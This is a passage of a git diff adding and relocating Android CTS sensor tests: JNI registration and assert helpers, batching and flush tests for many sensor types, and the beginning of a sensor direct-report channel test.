+                test->testDirectReport(env, s, c, r);
+                RETURN_ON_EXCEPTION();
+            }
+        }
+    }
+}
+
+JNINativeMethod gMethods[] = {
+    {  "nativeSetUp", "()J",
+            (void *) setUp},
+    {  "nativeTearDown", "(J)V",
+            (void *) tearDown},
+    {  "nativeTest", "(J)V",
+            (void *) test},
+};
+} // unamed namespace
+
+int register_android_hardware_cts_SensorNativeTest(JNIEnv* env) {
+    jclass clazz = env->FindClass("android/hardware/cts/SensorNativeTest");
+    return env->RegisterNatives(clazz, gMethods,
+            sizeof(gMethods) / sizeof(JNINativeMethod));
+}
diff --git a/tests/sensor/jni/nativeTestHelper.cpp b/tests/sensor/jni/nativeTestHelper.cpp
new file mode 100644
index 0000000..3c7df9a
--- /dev/null
+++ b/tests/sensor/jni/nativeTestHelper.cpp
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+#include "nativeTestHelper.h"
+#include <cstdlib>
+#include <cstring>
+
+extern int register_android_hardware_cts_SensorNativeTest(JNIEnv* env);
+extern int register_android_hardware_cts_SensorDirectReportTest(JNIEnv* env);
+
+void fail(JNIEnv* env, const char* format, ...) {
+    va_list args;
+
+    va_start(args, format);
+    char *msg;
+    vasprintf(&msg, format, args);
+    va_end(args);
+
+    jclass exClass;
+    const char *className = "java/lang/AssertionError";
+    exClass = env->FindClass(className);
+    env->ThrowNew(exClass, msg);
+    free(msg);
+}
+
+jint JNI_OnLoad(JavaVM *vm, void *) {
+    JNIEnv *env = NULL;
+    if (vm->GetEnv((void**)&env, JNI_VERSION_1_4) != JNI_OK) {
+        return JNI_ERR;
+    }
+    if (register_android_hardware_cts_SensorNativeTest(env)) {
+        return JNI_ERR;
+    }
+    if (register_android_hardware_cts_SensorDirectReportTest(env)) {
+        return JNI_ERR;
+    }
+    return JNI_VERSION_1_4;
+}
diff --git a/tests/sensor/jni/nativeTestHelper.h b/tests/sensor/jni/nativeTestHelper.h
new file mode 100644
index 0000000..4a0ea86
--- /dev/null
+++ b/tests/sensor/jni/nativeTestHelper.h
@@ -0,0 +1,64 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+#include <jni.h>
+
+#include <android/log.h>
+#define TAG "SensorNativeTest"
+#define ALOGV(...) __android_log_print(ANDROID_LOG_VERBOSE, TAG, __VA_ARGS__)
+#define ALOGE(...) __android_log_print(ANDROID_LOG_ERROR, TAG, __VA_ARGS__)
+#define ALOGI(...) __android_log_print(ANDROID_LOG_INFO, TAG, __VA_ARGS__)
+
+#define ASSERT(condition, format, args...) \
+        if (!(condition)) { \
+            fail(env, format, ## args); \
+            return; \
+        }
+
+// gtest style assert
+#define ASSERT_TRUE(a) ASSERT((a), "assert failed on (" #a ") at " __FILE__ ":%d", __LINE__)
+#define ASSERT_FALSE(a) ASSERT(!(a), "assert failed on (!" #a ") at " __FILE__ ":%d", __LINE__)
+#define ASSERT_EQ(a, b) \
+        ASSERT((a) == (b), "assert failed on (" #a " == " #b ") at " __FILE__ ":%d", __LINE__)
+#define ASSERT_NE(a, b) \
+        ASSERT((a) != (b), "assert failed on (" #a " != " #b ") at " __FILE__ ":%d", __LINE__)
+#define ASSERT_GT(a, b) \
+        ASSERT((a) > (b), "assert failed on (" #a " > " #b ") at " __FILE__ ":%d", __LINE__)
+#define ASSERT_GE(a, b) \
+        ASSERT((a) >= (b), "assert failed on (" #a " >= " #b ") at " __FILE__ ":%d", __LINE__)
+#define ASSERT_LT(a, b) \
+        ASSERT((a) < (b), "assert failed on (" #a " < " #b ") at " __FILE__ ":%d", __LINE__)
+#define ASSERT_LE(a, b) \
+        ASSERT((a) <= (b), "assert failed on (" #a " <= " #b ") at " __FILE__ ":%d", __LINE__)
+#define ASSERT_NULL(a) \
+        ASSERT((a) == nullptr, "assert failed on isNull(" #a ") at " __FILE__ ":%d", __LINE__)
+#define ASSERT_NOT_NULL(a) \
+        ASSERT((a) != nullptr, "assert failed on isNotNull(" #a ") at " __FILE__ ":%d", __LINE__)
+#define ASSERT_NAN(a) \
+        ASSERT(isnan(a), "assert failed on isNan(" #a ") at " __FILE__ ":%d", __LINE__)
+#define ASSERT_EMPTY_CSTR(a) do { \
+        const char *tmp = a; \
+        ASSERT(tmp != nullptr, \
+               "assert failed on (empty_cstr(" #a "): " #a " != nullptr) " \
+               "at " __FILE__ ":%d", __LINE__); \
+        ASSERT(tmp[0] == '\0', \
+               "assert failed on (empty_cstr(" #a "): strlen() == 0) " \
+               "at " __FILE__ ":%d", __LINE__); \
+    } while (false)
+
+
+void fail(JNIEnv* env, const char* format, ...);
diff --git a/tests/tests/hardware/src/android/hardware/cts/SensorAdditionalInfoTest.java b/tests/sensor/src/android/hardware/cts/SensorAdditionalInfoTest.java
similarity index 100%
rename from tests/tests/hardware/src/android/hardware/cts/SensorAdditionalInfoTest.java
rename to tests/sensor/src/android/hardware/cts/SensorAdditionalInfoTest.java
diff --git a/tests/tests/hardware/src/android/hardware/cts/SensorBatchingFifoTest.java b/tests/sensor/src/android/hardware/cts/SensorBatchingFifoTest.java
similarity index 100%
rename from tests/tests/hardware/src/android/hardware/cts/SensorBatchingFifoTest.java
rename to tests/sensor/src/android/hardware/cts/SensorBatchingFifoTest.java
diff --git a/tests/sensor/src/android/hardware/cts/SensorBatchingTests.java b/tests/sensor/src/android/hardware/cts/SensorBatchingTests.java
new file mode 100644
index 0000000..cb4076c
--- /dev/null
+++ b/tests/sensor/src/android/hardware/cts/SensorBatchingTests.java
@@ -0,0 +1,348 @@
+/*
+ * Copyright (C) 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hardware.cts;
+
+import android.hardware.Sensor;
+import android.hardware.SensorManager;
+import android.hardware.cts.helpers.SensorCtsHelper;
+import android.hardware.cts.helpers.SensorStats;
+import android.hardware.cts.helpers.TestSensorEnvironment;
+import android.hardware.cts.helpers.sensoroperations.TestSensorOperation;
+import android.hardware.cts.helpers.sensorverification.EventBasicVerification;
+import android.hardware.cts.helpers.sensorverification.ISensorVerification;
+
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Set of tests to verify that sensors operate correctly when operating in batching mode.
+ * This class defines tests for continuous sensors when the device is awake.
+ * On-change and special sensors are tested separately inside CtsVerifier, and they are defined in:
+ * {@link com.android.cts.verifier.sensors.BatchingTestActivity}.
+ *
+ * Each test is expected to pass even if batching is not supported for a particular sensor. This is
+ * usually achieved by ensuring that {@link ISensorVerification}s fallback accordingly.
+ *
+ * <p>To execute these test cases, the following command can be used:</p>
+ * <pre>
+ * adb shell am instrument -e class android.hardware.cts.SensorBatchingTests \
+ *     -w android.hardware.cts/android.test.AndroidJUnitRunner
+ * </pre>
+ */
+public class SensorBatchingTests extends SensorTestCase {
+    private static final String TAG = "SensorBatchingTests";
+
+    private static final int BATCHING_PERIOD = 10;  // sec
+    private static final int RATE_50HZ = 20000;
+    private static final int RATE_FASTEST = SensorManager.SENSOR_DELAY_FASTEST;
+
+    /**
+     * An arbitrary 'padding' time slot to wait for events after batching latency expires.
+     * This allows for the test to wait for event arrivals after batching was expected.
+     */
+    private static final int BATCHING_PADDING_TIME_S = (int) Math.ceil(BATCHING_PERIOD * 0.1f + 2);
+
+    public void testAccelerometer_fastest_batching() throws Throwable {
+        runBatchingSensorTest(Sensor.TYPE_ACCELEROMETER, RATE_FASTEST, BATCHING_PERIOD);
+    }
+
+    public void testAccelerometer_50hz_batching() throws Throwable {
+        runBatchingSensorTest(Sensor.TYPE_ACCELEROMETER, RATE_50HZ, BATCHING_PERIOD);
+    }
+
+    public void testAccelerometer_fastest_flush() throws Throwable {
+        runFlushSensorTest(Sensor.TYPE_ACCELEROMETER, RATE_FASTEST, BATCHING_PERIOD);
+    }
+
+    public void testAccelerometer_50hz_flush() throws Throwable {
+        runFlushSensorTest(Sensor.TYPE_ACCELEROMETER, RATE_50HZ, BATCHING_PERIOD);
+    }
+
+    public void testAccelerometerUncalibrated_fastest_batching() throws Throwable {
+        runBatchingSensorTest(Sensor.TYPE_ACCELEROMETER_UNCALIBRATED,
+                              RATE_FASTEST,
+                              BATCHING_PERIOD);
+    }
+
+    public void testAccelUncalibrated() throws Throwable {
+        runBatchingSensorTest(Sensor.TYPE_ACCELEROMETER_UNCALIBRATED,
+                              RATE_FASTEST,
+                              BATCHING_PERIOD);
+    }
+
+    public void testAccelUncalibrated_50hz_batching() throws Throwable {
+        runBatchingSensorTest(Sensor.TYPE_ACCELEROMETER_UNCALIBRATED, RATE_50HZ, BATCHING_PERIOD);
+    }
+
+    public void tesAccelUncalibrated_fastest_flush() throws Throwable {
+        runFlushSensorTest(Sensor.TYPE_ACCELEROMETER_UNCALIBRATED, RATE_FASTEST, BATCHING_PERIOD);
+    }
+
+    public void tesAccelUncalibrated_50hz_flush() throws Throwable {
+        runFlushSensorTest(Sensor.TYPE_ACCELEROMETER_UNCALIBRATED, RATE_50HZ, BATCHING_PERIOD);
+    }
+
+    public void testMagneticField_fastest_batching() throws Throwable {
+        runBatchingSensorTest(Sensor.TYPE_MAGNETIC_FIELD, RATE_FASTEST, BATCHING_PERIOD);
+    }
+
+    public void testMagneticField_50hz_batching() throws Throwable {
+        runBatchingSensorTest(Sensor.TYPE_MAGNETIC_FIELD, RATE_50HZ, BATCHING_PERIOD);
+    }
+
+    public void testMagneticField_fastest_flush() throws Throwable {
+        runFlushSensorTest(Sensor.TYPE_MAGNETIC_FIELD, RATE_FASTEST, BATCHING_PERIOD);
+    }
+
+    public void testMagneticField_50hz_flush() throws Throwable {
+        runFlushSensorTest(Sensor.TYPE_MAGNETIC_FIELD, RATE_50HZ, BATCHING_PERIOD);
+    }
+
+    @SuppressWarnings("deprecation")
+    public void testOrientation_fastest_batching() throws Throwable {
+        runBatchingSensorTest(Sensor.TYPE_ORIENTATION, RATE_FASTEST, BATCHING_PERIOD);
+    }
+
+    @SuppressWarnings("deprecation")
+    public void testOrientation_50hz_batching() throws Throwable {
+        runBatchingSensorTest(Sensor.TYPE_ORIENTATION, RATE_50HZ, BATCHING_PERIOD);
+    }
+
+    @SuppressWarnings("deprecation")
+    public void testOrientation_fastest_flush() throws Throwable {
+        runFlushSensorTest(Sensor.TYPE_ORIENTATION, RATE_FASTEST, BATCHING_PERIOD);
+    }
+
+    @SuppressWarnings("deprecation")
+    public void testOrientation_50hz_flush() throws Throwable {
+        runFlushSensorTest(Sensor.TYPE_ORIENTATION, RATE_50HZ, BATCHING_PERIOD);
+    }
+
+    public void testGyroscope_fastest_batching() throws Throwable {
+        runBatchingSensorTest(Sensor.TYPE_GYROSCOPE, RATE_FASTEST, BATCHING_PERIOD);
+    }
+
+    public void testGyroscope_50hz_batching() throws Throwable {
+        runBatchingSensorTest(Sensor.TYPE_GYROSCOPE, RATE_50HZ, BATCHING_PERIOD);
+    }
+
+    public void testGyroscope_fastest_flush() throws Throwable {
+        runFlushSensorTest(Sensor.TYPE_GYROSCOPE, SensorManager.SENSOR_DELAY_FASTEST, BATCHING_PERIOD);
+    }
+
+    public void testGyroscope_50hz_flush() throws Throwable {
+        runFlushSensorTest(Sensor.TYPE_GYROSCOPE, RATE_50HZ, BATCHING_PERIOD);
+    }
+
+    public void testPressure_fastest_batching() throws Throwable {
+        runBatchingSensorTest(Sensor.TYPE_PRESSURE, RATE_FASTEST, BATCHING_PERIOD);
+    }
+
+    public void testPressure_50hz_batching() throws Throwable {
+        runBatchingSensorTest(Sensor.TYPE_PRESSURE, RATE_50HZ, BATCHING_PERIOD);
+    }
+
+    public void testPressure_fastest_flush() throws Throwable {
+        runFlushSensorTest(Sensor.TYPE_PRESSURE, SensorManager.SENSOR_DELAY_FASTEST, BATCHING_PERIOD);
+    }
+
+    public void testPressure_50hz_flush() throws Throwable {
+        runFlushSensorTest(Sensor.TYPE_PRESSURE, RATE_50HZ, BATCHING_PERIOD);
+    }
+
+    public void testGravity_fastest_batching() throws Throwable {
+        runBatchingSensorTest(Sensor.TYPE_GRAVITY, RATE_FASTEST, BATCHING_PERIOD);
+    }
+
+    public void testGravity_50hz_batching() throws Throwable {
+        runBatchingSensorTest(Sensor.TYPE_GRAVITY, RATE_50HZ, BATCHING_PERIOD);
+    }
+
+    public void testGravity_fastest_flush() throws Throwable {
+        runFlushSensorTest(Sensor.TYPE_GRAVITY, SensorManager.SENSOR_DELAY_FASTEST, BATCHING_PERIOD);
+    }
+
+    public void testGravity_50hz_flush() throws Throwable {
+        runFlushSensorTest(Sensor.TYPE_GRAVITY, RATE_50HZ, BATCHING_PERIOD);
+    }
+
+    public void testRotationVector_fastest_batching() throws Throwable {
+        runBatchingSensorTest(Sensor.TYPE_ROTATION_VECTOR, RATE_FASTEST, BATCHING_PERIOD);
+    }
+
+    public void testRotationVector_50hz_batching() throws Throwable {
+        runBatchingSensorTest(Sensor.TYPE_ROTATION_VECTOR, RATE_50HZ, BATCHING_PERIOD);
+    }
+
+    public void testRotationVector_fastest_flush() throws Throwable {
+        runFlushSensorTest(Sensor.TYPE_ROTATION_VECTOR, RATE_FASTEST, BATCHING_PERIOD);
+    }
+
+    public void testRotationVector_50hz_flush() throws Throwable {
+        runFlushSensorTest(Sensor.TYPE_ROTATION_VECTOR, RATE_50HZ, BATCHING_PERIOD);
+    }
+
+    public void testMagneticFieldUncalibrated_fastest_batching() throws Throwable {
+        runBatchingSensorTest(Sensor.TYPE_MAGNETIC_FIELD_UNCALIBRATED, RATE_FASTEST, BATCHING_PERIOD);
+    }
+
+    public void testMagneticFieldUncalibrated_50hz_batching() throws Throwable {
+        runBatchingSensorTest(Sensor.TYPE_MAGNETIC_FIELD_UNCALIBRATED, RATE_50HZ, BATCHING_PERIOD);
+    }
+
+    public void testMagneticFieldUncalibrated_fastest_flush() throws Throwable {
+        runFlushSensorTest(Sensor.TYPE_MAGNETIC_FIELD_UNCALIBRATED, RATE_FASTEST, BATCHING_PERIOD);
+    }
+
+    public void testMagneticFieldUncalibrated_50hz_flush() throws Throwable {
+        runFlushSensorTest(Sensor.TYPE_MAGNETIC_FIELD_UNCALIBRATED, RATE_50HZ, BATCHING_PERIOD);
+    }
+
+    public void testGameRotationVector_fastest_batching() throws Throwable {
+        runBatchingSensorTest(Sensor.TYPE_GAME_ROTATION_VECTOR, RATE_FASTEST, BATCHING_PERIOD);
+    }
+
+    public void testGameRotationVector_50hz_batching() throws Throwable {
+        runBatchingSensorTest(Sensor.TYPE_GAME_ROTATION_VECTOR, RATE_50HZ, BATCHING_PERIOD);
+    }
+
+    public void testGameRotationVector_fastest_flush() throws Throwable {
+        runFlushSensorTest(Sensor.TYPE_GAME_ROTATION_VECTOR, RATE_FASTEST, BATCHING_PERIOD);
+    }
+
+    public void testGameRotationVector_50hz_flush() throws Throwable {
+        runFlushSensorTest(Sensor.TYPE_GAME_ROTATION_VECTOR, RATE_50HZ, BATCHING_PERIOD);
+    }
+
+    public void testGyroscopeUncalibrated_fastest_batching() throws Throwable {
+        runBatchingSensorTest(Sensor.TYPE_GYROSCOPE_UNCALIBRATED, RATE_FASTEST, BATCHING_PERIOD);
+    }
+
+    public void testGyroscopeUncalibrated_50hz_batching() throws Throwable {
+        runBatchingSensorTest(Sensor.TYPE_GYROSCOPE_UNCALIBRATED, RATE_50HZ, BATCHING_PERIOD);
+    }
+
+    public void testGyroscopeUncalibrated_fastest_flush() throws Throwable {
+        runFlushSensorTest(Sensor.TYPE_GYROSCOPE_UNCALIBRATED, RATE_FASTEST, BATCHING_PERIOD);
+    }
+
+    public void testGyroscopeUncalibrated_50hz_flush() throws Throwable {
+        runFlushSensorTest(Sensor.TYPE_GYROSCOPE_UNCALIBRATED, RATE_50HZ, BATCHING_PERIOD);
+    }
+
+    public void testLinearAcceleration_fastest_batching() throws Throwable {
+        runBatchingSensorTest(Sensor.TYPE_LINEAR_ACCELERATION, RATE_FASTEST, BATCHING_PERIOD);
+    }
+
+    public void testLinearAcceleration_50hz_batching() throws Throwable {
+        runBatchingSensorTest(Sensor.TYPE_LINEAR_ACCELERATION, RATE_50HZ, BATCHING_PERIOD);
+    }
+
+    public void testLinearAcceleration_fastest_flush() throws Throwable {
+        runFlushSensorTest(Sensor.TYPE_LINEAR_ACCELERATION, RATE_FASTEST, BATCHING_PERIOD);
+    }
+
+    public void testLinearAcceleration_50hz_flush() throws Throwable {
+        runFlushSensorTest(Sensor.TYPE_LINEAR_ACCELERATION, RATE_50HZ, BATCHING_PERIOD);
+    }
+
+    public void testGeomagneticRotationVector_fastest_batching() throws Throwable {
+        runBatchingSensorTest(Sensor.TYPE_GEOMAGNETIC_ROTATION_VECTOR, RATE_FASTEST, BATCHING_PERIOD);
+    }
+
+    public void testGeomagneticRotationVector_50hz_batching() throws Throwable {
+        runBatchingSensorTest(Sensor.TYPE_GEOMAGNETIC_ROTATION_VECTOR, RATE_50HZ, BATCHING_PERIOD);
+    }
+
+    public void testGeomagneticRotationVector_fastest_flush() throws Throwable {
+        runFlushSensorTest(Sensor.TYPE_GEOMAGNETIC_ROTATION_VECTOR, RATE_FASTEST, BATCHING_PERIOD);
+    }
+
+    public void testGeomagneticRotationVector_50hz_flush() throws Throwable {
+        runFlushSensorTest(Sensor.TYPE_GEOMAGNETIC_ROTATION_VECTOR, RATE_50HZ, BATCHING_PERIOD);
+    }
+
+    private void runBatchingSensorTest(int sensorType, int rateUs, int maxBatchReportLatencySec)
+            throws Throwable {
+        int maxBatchReportLatencyUs = (int) TimeUnit.SECONDS.toMicros(maxBatchReportLatencySec);
+        int testDurationSec = maxBatchReportLatencySec + BATCHING_PADDING_TIME_S;
+
+        TestSensorEnvironment environment = new TestSensorEnvironment(
+                getContext(),
+                sensorType,
+                shouldEmulateSensorUnderLoad(),
+                rateUs,
+                maxBatchReportLatencyUs);
+        TestSensorOperation operation =
+                TestSensorOperation.createOperation(environment, testDurationSec, TimeUnit.SECONDS);
+
+        operation.addVerification(
+                EventBasicVerification.getDefault(
+                        environment, TimeUnit.SECONDS.toMicros(testDurationSec)
+                )
+        );
+
+        executeTest(environment, operation, false /* flushExpected */);
+    }
+
+    private void runFlushSensorTest(int sensorType, int rateUs, int maxBatchReportLatencySec)
+            throws Throwable {
+        int maxBatchReportLatencyUs = (int) TimeUnit.SECONDS.toMicros(maxBatchReportLatencySec);
+        int flushDurationSec = maxBatchReportLatencySec / 2;
+
+        TestSensorEnvironment environment = new TestSensorEnvironment(
+                getContext(),
+                sensorType,
+                shouldEmulateSensorUnderLoad(),
+                rateUs,
+                maxBatchReportLatencyUs);
+        TestSensorOperation operation = TestSensorOperation
+                .createFlushOperation(environment, flushDurationSec, TimeUnit.SECONDS);
+
+        executeTest(environment, operation, true /* flushExpected */);
+    }
+
+    private void executeTest(
+            TestSensorEnvironment environment,
+            TestSensorOperation operation,
+            boolean flushExpected) throws Throwable {
+        SensorCtsHelper.sleep(3, TimeUnit.SECONDS);
+        operation.addDefaultVerifications();
+
+        try {
+            operation.execute(getCurrentTestNode());
+        } finally {
+            SensorStats stats = operation.getStats();
+            stats.log(TAG);
+
+            String sensorRate;
+            if (environment.getRequestedSamplingPeriodUs() == SensorManager.SENSOR_DELAY_FASTEST) {
+                sensorRate = "fastest";
+            } else {
+                sensorRate = String.format("%.0fhz", environment.getFrequencyHz());
+            }
+            String batching = environment.getMaxReportLatencyUs() > 0 ? "_batching" : "";
+            String flush = flushExpected ? "_flush" : "";
+            String fileName = String.format(
+                    "batching_%s_%s%s%s.txt",
+                    SensorStats.getSanitizedSensorName(environment.getSensor()),
+                    sensorRate,
+                    batching,
+                    flush);
+            stats.logToFile(fileName);
+        }
+    }
+}
diff --git a/tests/sensor/src/android/hardware/cts/SensorDirectReportTest.java b/tests/sensor/src/android/hardware/cts/SensorDirectReportTest.java
new file mode 100644
index 0000000..78ac59d
--- /dev/null
+++ b/tests/sensor/src/android/hardware/cts/SensorDirectReportTest.java
@@ -0,0 +1,495 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hardware.cts;
+
+import android.content.Context;
+import android.hardware.HardwareBuffer;
+import android.hardware.Sensor;
+import android.hardware.SensorAdditionalInfo;
+import android.hardware.SensorDirectChannel;
+import android.hardware.SensorEventCallback;
+import android.hardware.SensorManager;
+import android.hardware.cts.helpers.SensorCtsHelper;
+import android.os.MemoryFile;
+import android.util.Log;
+
+import java.io.IOException;
+import java.nio.ByteBuffer;
+import java.nio.ByteOrder;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Checks Sensor Direct Report functionality
+ *
+ * This testcase tests operation of:
+ *   - SensorManager.createDirectChannel()
+ *   - SensorDirectChannel.*
+ *   - Sensor.getHighestDirectReportRateLevel()
+ *   - Sensor.isDirectChannelTypeSupported()
+ */
+public class SensorDirectReportTest extends SensorTestCase {
+    private static final String TAG = "SensorDirectReportTest";
+    // nominal rates of each rate level supported
+    private static final float RATE_NORMAL_NOMINAL = 50;
+    private static final float RATE_FAST_NOMINAL = 200;
+    private static final float RATE_VERY_FAST_NOMINAL = 800;
+
+    // actuall value is allowed to be 55% to 220% of nominal value
+    private static final float FREQ_LOWER_BOUND = 0.55f;
+    private static final float FREQ_UPPER_BOUND = 2.2f;
+
+    // sensor reading assumption
+    private static final float GRAVITY_MIN = 9.81f - 0.5f;
+    private static final float GRAVITY_MAX = 9.81f + 0.5f;
+    private static final float GYRO_NORM_MAX = 0.1f;
+
+    // test constants
+    private static final int REST_PERIOD_BEFORE_TEST_MILLISEC = 3000;
+    private static final int TEST_RUN_TIME_PERIOD_MILLISEC = 5000;
+    private static final int ALLOWED_SENSOR_INIT_TIME_MILLISEC = 500;
+    private static final int SENSORS_EVENT_SIZE = 104;
+    private static final int SENSORS_EVENT_COUNT = 10240; // 800Hz * 2.2 * 5 sec + extra
+    private static final int SHARED_MEMORY_SIZE = SENSORS_EVENT_COUNT * SENSORS_EVENT_SIZE;
+    private static final float MERCY_FACTOR = 0.1f;
+
+    private static native boolean nativeReadHardwareBuffer(HardwareBuffer hardwareBuffer,
+            byte[] buffer, int srcOffset, int destOffset, int count);
+
+    private boolean mNeedMemoryFile;
+    private MemoryFile mMemoryFile;
+    private boolean mNeedHardwareBuffer;
+    private HardwareBuffer mHardwareBuffer;
+    private byte[] mBuffer = new byte[SHARED_MEMORY_SIZE];
+
+    private SensorManager mSensorManager;
+    private SensorDirectChannel mChannel;
+
+    static {
+        System.loadLibrary("cts-sensors-ndk-jni");
+    }
+
+    @Override
+    protected void setUp() throws Exception {
+        mSensorManager = (SensorManager) getContext().getSystemService(Context.SENSOR_SERVICE);
+
+        mNeedMemoryFile = isMemoryTypeNeeded(SensorDirectChannel.TYPE_MEMORY_FILE);
+        mNeedHardwareBuffer = isMemoryTypeNeeded(SensorDirectChannel.TYPE_HARDWARE_BUFFER);
+
+        if (mNeedMemoryFile) {
+            mMemoryFile = allocateMemoryFile();
+        }
+
+        if (mNeedHardwareBuffer) {
+            mHardwareBuffer = allocateHardwareBuffer();
+        }
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        if (mChannel != null) {
+            mChannel.close();
+            mChannel = null;
+        }
+
+        if (mMemoryFile != null) {
+            mMemoryFile.close();
+            mMemoryFile = null;
+        }
+
+        if (mHardwareBuffer != null) {
+            mHardwareBuffer.close();
+            mHardwareBuffer = null;
+        }
+    }
+
+    public void testSharedMemoryAllocation() throws AssertionError {
+        assertTrue("allocating MemoryFile returned null",
+                !mNeedMemoryFile || mMemoryFile != null);
+        assertTrue("allocating HardwareBuffer returned null",
+                !mNeedHardwareBuffer || mHardwareBuffer != null);
+    }
+
+    public void testAccelerometerAshmemNormal() {
+        runSensorDirectReportTest(
+                Sensor.TYPE_ACCELEROMETER,
+                SensorDirectChannel.TYPE_MEMORY_FILE,
+                SensorDirectChannel.RATE_NORMAL);
+    }
+
+    public void testGyroscopeAshmemNormal() {
+        runSensorDirectReportTest(
+                Sensor.TYPE_GYROSCOPE,
+                SensorDirectChannel.TYPE_MEMORY_FILE,
+                SensorDirectChannel.RATE_NORMAL);
+    }
+
+    public void testMagneticFieldAshmemNormal() {
+        runSensorDirectReportTest(
+                Sensor.TYPE_MAGNETIC_FIELD,
+                SensorDirectChannel.TYPE_MEMORY_FILE,
+                SensorDirectChannel.RATE_NORMAL);
+    }
+
+    public void testAccelerometerAshmemFast() {
+        runSensorDirectReportTest(
+                Sensor.TYPE_ACCELEROMETER,
+                SensorDirectChannel.TYPE_MEMORY_FILE,
+                SensorDirectChannel.RATE_FAST);
+
+    }
+
+    public void testGyroscopeAshmemFast() {
+        runSensorDirectReportTest(
+                Sensor.TYPE_GYROSCOPE,
+                SensorDirectChannel.TYPE_MEMORY_FILE,
+                SensorDirectChannel.RATE_FAST);
+    }
+
+    public void testMagneticFieldAshmemFast() {
+        runSensorDirectReportTest(
+                Sensor.TYPE_MAGNETIC_FIELD,
+                SensorDirectChannel.TYPE_MEMORY_FILE,
+                SensorDirectChannel.RATE_FAST);
+    }
+
+    public void testAccelerometerAshmemVeryFast() {
+        runSensorDirectReportTest(
+                Sensor.TYPE_ACCELEROMETER,
+                SensorDirectChannel.TYPE_MEMORY_FILE,
+                SensorDirectChannel.RATE_VERY_FAST);
+
+    }
+
+    public void testGyroscopeAshmemVeryFast() {
+        runSensorDirectReportTest(
+                Sensor.TYPE_GYROSCOPE,
+                SensorDirectChannel.TYPE_MEMORY_FILE,
+                SensorDirectChannel.RATE_VERY_FAST);
+    }
+
+    public void testMagneticFieldAshmemVeryFast() {
+        runSensorDirectReportTest(
+                Sensor.TYPE_MAGNETIC_FIELD,
+                SensorDirectChannel.TYPE_MEMORY_FILE,
+                SensorDirectChannel.RATE_VERY_FAST);
+    }
+
+    public void testAccelerometerHardwareBufferNormal() {
+        runSensorDirectReportTest(
+                Sensor.TYPE_ACCELEROMETER,
+                SensorDirectChannel.TYPE_HARDWARE_BUFFER,
+                SensorDirectChannel.RATE_NORMAL);
+    }
+
+    public void testGyroscopeHardwareBufferNormal() {
+        runSensorDirectReportTest(
+                Sensor.TYPE_GYROSCOPE,
+                SensorDirectChannel.TYPE_HARDWARE_BUFFER,
+                SensorDirectChannel.RATE_NORMAL);
+    }
+
+    public void testMagneticFieldHardwareBufferNormal() {
+        runSensorDirectReportTest(
+                Sensor.TYPE_MAGNETIC_FIELD,
+                SensorDirectChannel.TYPE_HARDWARE_BUFFER,
+                SensorDirectChannel.RATE_NORMAL);
+    }
+
+    public void testAccelerometerHardwareBufferFast() {
+        runSensorDirectReportTest(
+                Sensor.TYPE_ACCELEROMETER,
+                SensorDirectChannel.TYPE_HARDWARE_BUFFER,
+                SensorDirectChannel.RATE_FAST);
+    }
+
+    public void testGyroscopeHardwareBufferFast() {
+        runSensorDirectReportTest(
+                Sensor.TYPE_GYROSCOPE,
+                SensorDirectChannel.TYPE_HARDWARE_BUFFER,
+                SensorDirectChannel.RATE_FAST);
+    }
+
+    public void testMagneticFieldHardwareBufferFast() {
+        runSensorDirectReportTest(
+                Sensor.TYPE_MAGNETIC_FIELD,
+                SensorDirectChannel.TYPE_HARDWARE_BUFFER,
+                SensorDirectChannel.RATE_FAST);
+    }
+
+    public void testAccelerometerHardwareBufferVeryFast() {
+        runSensorDirectReportTest(
+                Sensor.TYPE_ACCELEROMETER,
+                SensorDirectChannel.TYPE_HARDWARE_BUFFER,
+                SensorDirectChannel.RATE_VERY_FAST);
+    }
+
+    public void testGyroscopeHardwareBufferVeryFast() {
+        runSensorDirectReportTest(
+                Sensor.TYPE_GYROSCOPE,
+                SensorDirectChannel.TYPE_HARDWARE_BUFFER,
+                SensorDirectChannel.RATE_VERY_FAST);
+    }
+
+    public void testMagneticFieldHardwareBufferVeryFast() {
+        runSensorDirectReportTest(
+                Sensor.TYPE_MAGNETIC_FIELD,
+                SensorDirectChannel.TYPE_HARDWARE_BUFFER,
+                SensorDirectChannel.RATE_VERY_FAST);
+    }
+
+    private void runSensorDirectReportTest(int sensorType, int memType, int rateLevel)
+            throws AssertionError {
